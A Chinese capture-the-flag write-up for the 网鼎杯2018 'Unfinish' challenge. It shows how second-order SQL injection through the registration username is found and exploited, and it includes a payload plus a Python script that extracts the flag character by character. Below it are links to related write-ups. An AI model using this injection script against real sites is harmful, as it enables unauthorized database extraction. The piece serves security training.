[网鼎杯2018]Unfinish-1|SQL注入|二次注入
1、进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下:
2、进行目录扫描,发现了注册界面:register.php,结果如下:
3、那就访问注册界面,随便注册一个账户进行登录,f返回的界面中显示了注册的账户名,这里就想到了二次注入,结果如下:
4、进行注入的话那就先判断下被过滤的关键词,在注册时进行抓包,然后使用爆破模块进行测试,发现information和,被过滤了,开始以为'也被过滤了,但1'+2+'1可以注册,应该是语句的问题,而且返回的信息中也没有nononono,结果如下:
5、到这里想着后端代码应该就是select username from table where username = '传递的参数',这样的结构,经过测试可以通过:1' or password like '%f%测试列明,但是好像flag值所在的表与当前的表不是同一张表,而且也不知道flag值所在表的名称,在网上查看了以下,发现是忙才flag值所在表的表名称为flag,然后通过+运算进行无列明获取flag值,其payload:0'+ascii(substr((select * from flag) from 1 for 1))+'0,成功获取到flag值得第一位asii:102即f,结果如下:
6、确定payload之后那就需要通过脚本来获取flag值了,脚本信息如下:
import requests
import time
from bs4 import BeautifulSoup
def get_flag():
flag = ''
url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/'
register_url = url + 'register.php'
login_url = url + 'login.php'
for i in range(1, 100):
time.sleep(0.5)
register_data = {"email": "{}@1.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
login_data = {"email": "{}@1.com".format(i), "password": "1"}
requests.post(register_url, data=register_data)
response_login = requests.post(login_url, data=login_data)
bs = BeautifulSoup(response_login.text, 'html.parser')
username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性
number = username.text
flag += chr(int(number))
print("\r", end="")
print(flag,end="")
if __name__ == '__main__':
get_flag()
脚本结果如下:
[网鼎杯2018]Unfinish-1|SQL注入|二次注入的更多相关文章
- [网鼎杯 2018]Comment
[网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...
- [网鼎杯 2018]Comment-1|SQL注入|二次注入
1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- 【网鼎杯2018】fakebook
解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...
- 刷题 [网鼎杯 2018]Fakebook
解题思路 首先登陆页面发现是这样的: 查看源码 源码很正常,也没有什么特别的 web目录扫描 我用的是dirmap工具扫描,扫描结果保存在一个txt文件中,结果可知没什么后台. robots.txt ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
随机推荐
- 异常——JavaSE基础
异常 异常的分类 检查性异常 运行时异常:可能被程序员避免的异常,运行时异常可以在编译时被忽略 错误ERROR:错误不是异常 在Java中把异常当作对象来处理,并且定义了一个基类java.lang.T ...
- 开发工具-Unix时间戳转换
更新日志 2022年6月10日 初始化链接. https://toolb.cn/timestamp
- 软件项目管理 7.5.项目进度模型(SPSP)
[公众号@ "项目管理研究所" 将会第一时间更新文章并分享<行业分析报告>] 归档于软件项目管理初级学习路线 第七章 软件项目进度计划 你猜猜里面是什么-->&l ...
- C语言学习之我见-strcmp()字符串比较函数
strcmp()函数,用于两个字符串的比较. (1)函数原型 int strcmp(const char *_Str1,const char *_Str2); (2)头文件 string.h (3)功 ...
- idea 在创建maven时没有src的解决方法
在创建maven时 加上archetypeCatalog=internal
- 绝对路径-相对路径和File类的构造方法
绝对路径和相对路径 绝对路径:是一个完整的路径,以盘符开始(c: d:)c:\a.txt 相对路径:相对指的是相对于当前项目的根目录(可以省略项目的根目录) 注意: 1.路径不区分大小写 2.路径中的 ...
- Linux-Day01
Linux-Day01 课程内容 Linux简介 Linux安装 Linux常用命令 1. 前言 1.1 什么是Linux Linux是一套免费使用和自由传播的操作系统.说到操作系统,大家比较熟知的应 ...
- 编译安装Python出现“pip is configured with locations that require TLS/SSL, however the ssl.....”
ubuntu: sudo apt-get install libssl-dev Cenos: sudo yum install openssl-devel 重新编译: ./configure --en ...
- Kafka启动遇到ERROR Exiting Kafka due to fatal exception (kafka.Kafka$)
------------恢复内容开始------------ Kafka启动遇到ERROR Exiting Kafka due to fatal exception (kafka.Kafka$) 解决 ...
- Data too long for column 'xxx' at row
Data too long for column 'xxx' at row 数据库的默认的utff-8,且连接的字符串也设置了utf-8,数据库字段用的text,但是还是报错,原因超出了长度,要最大的 ...